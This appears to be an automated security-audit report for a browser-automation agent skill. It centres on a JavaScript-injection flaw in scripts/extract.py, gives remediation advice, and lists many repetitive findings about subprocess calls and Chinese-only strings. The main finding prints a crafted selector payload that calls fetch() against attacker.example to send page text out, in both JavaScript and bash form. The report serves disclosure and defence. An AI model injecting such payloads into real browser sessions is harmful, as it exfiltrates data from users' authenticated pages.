Back to skill

Security audit

Abby Browser

Security checks for vulnerabilities and agentic risk

Overview

This browser-control skill is mostly coherent, but it exposes under-scoped browser automation that can run injected page JavaScript in an active session.

Install only if you are comfortable giving the skill control over an active browser session. Avoid using it on sensitive authenticated pages until the selector handling in scripts/extract.py is fixed and raw evaluate use is clearly restricted or confirmed by the user.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/extract.py:69
Finding
Arbitrary Browser-Side JavaScript Injection Through an Unescaped CSS Selector<![CDATA[ ## Vulnerability Details **File Location**: `scripts/extract.py`, lines 69-85 **Vulnerability Type**: Browser-context JavaScript injection **Risk Level**: High ### Vulnerable Code ```python def extract_text(selector: str = None) -> dict: if selector: js = f'document.querySelector("{selector}").innerText' cmd = ['openclaw', 'browser', 'evaluate', '--fn', js] else: cmd = [ 'openclaw', 'browser', 'evaluate', '--fn', 'document.body.innerText' ] ``` ### Technical Analysis The `selector` value is interpolated directly into JavaScript source inside a double-quoted string. No JavaScript-string encoding, selector validation, or separation between code and data is applied. An attacker who can influence the selector can close the `querySelector` string and expression, inject arbitrary JavaScript, and comment out the remaining generated source. For example, this selector: ```text body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); // ``` produces JavaScript equivalent to: ```javascript document.querySelector("body"); fetch( "https://attacker.example/collect?d=" + encodeURIComponent(document.body.innerText) ); // ").innerText ``` The command is passed to `subprocess.run` as an argument array, so this is not an operating-system shell injection. It is nevertheless arbitrary code injection into the active browser page through the `openclaw browser evaluate` interface. ### Attack Path 1. A victim opens a sensitive or authenticated web page through the browser skill. 2. The attacker influences the selector supplied to `extract_text`, such as through a malicious natural-language request or direct invocation: ```bash python scripts/extract.py text 'body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); //' ``` 3. `extract_text` inserts the supplied value dire ...[truncated 1386 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. **Never concatenate untrusted selectors into JavaScript source.** Encode the selector as a JavaScript string literal using a proven serializer: ```python selector_literal = json.dumps(selector) js = f'document.querySelector({selector_literal})?.innerText' ``` `json.dumps` safely escapes quotation marks, backslashes, line terminators, and other characters that could terminate the string literal. 2. **Prefer parameterized evaluation.** If the OpenClaw interface supports arguments, use a fixed function and pass the selector separately: ```javascript selector => document.querySelector(selector)?.innerText ``` This maintains a strict distinction between executable code and data. 3. **Validate selector input.** Reject control characters and unexpected input types, impose a reasonable length limit, and handle invalid CSS selectors explicitly. Validation should supplement proper encoding rather than replace it. 4. **Apply least privilege to browser evaluation.** Avoid exposing a general-purpose evaluation path where a dedicated DOM text-extraction API is available. 5. **Add regression tests** using payloads containing quotation marks, backslashes, newlines, comments, and statement separators. Tests should verify that each payload remains selector data and cannot introduce additional JavaScript statements. 6. **Treat browser-derived content as sensitive.** Require explicit authorization before extracting data from authenticated pages or returning full page contents to external callers. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (17)

Natural-Language Policy Violations

Medium
Confidence
90% confidence
Finding
The natural-language content presents the skill entirely in Chinese and frames usage around Chinese dialogue, without indicating that other languages are supported or that the language choice is optional. This can violate language/locale policy requirements when a skill implicitly enforces a specific language without user opt-in.

Intent-Code Divergence

Medium
Confidence
96% confidence
Finding
The skill claims it does not automatically execute dangerous actions, yet it documents use of `openclaw browser evaluate --fn ...`, which is an arbitrary browser-side code execution capability. This inconsistency can mislead users or downstream agents into trusting the skill's safety posture while still exposing a powerful primitive that can manipulate pages, bypass intended interaction safeguards, or perform risky scripted actions.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The docstring and user-facing interface strings indicate the skill is designed in Chinese only, and there is no natural-language indication that users can choose another language. Per the policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is clearly documented and justified.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
This code includes natural-language strings such as the module docstring and argument descriptions entirely in Chinese. Under the policy, forcing a specific language without offering user choice or documenting a justified locale constraint is a violation.

Context-Inappropriate Capability

Medium
Confidence
97% confidence
Finding
The text extraction helper builds JavaScript with unsanitized selector input and sends it to openclaw browser evaluate, effectively turning a text-extraction API into arbitrary page-script execution. A crafted selector containing quotes and JavaScript payload can break out of the string literal and execute unintended code in the browser context, enabling data access or unauthorized page actions within the active session.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The skill captures browser screenshots without any explicit user warning, consent check, or visible confirmation gate at the point of collection. Screenshots can contain sensitive on-screen data such as credentials, personal information, session state, or confidential documents, so silent capture increases privacy and data-exposure risk.

Natural-Language Policy Violations

Low
Confidence
88% confidence
Finding
The module docstring includes both English and Chinese text, which imposes multilingual output/documentation behavior without indicating user choice or opt-in. Under the language/locale policy, forcing or assuming a language without explicit user preference can be a policy concern.

Natural-Language Policy Violations

Low
Confidence
94% confidence
Finding
This code file contains natural-language strings and docstrings exclusively in Chinese, including the title, function descriptions, and CLI usage text. Under the policy rule, forcing a specific language without presenting a user choice can be a locale/language policy violation.

Natural-Language Policy Violations

Low
Confidence
94% confidence
Finding
The module description and user-facing strings indicate the skill is designed to communicate in Chinese only. Under the language/locale policy, forcing a specific language without user opt-in is a natural-language policy issue unless the locale restriction is clearly justified.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
The module docstring and user-facing descriptions are in Chinese, which can impose a language constraint on users without any visible opt-in or explanation. The policy requires flagging forced language or locale behavior unless the skill offers a choice or clearly documents a justified regional limitation.

Static analysis

No suspicious patterns detected.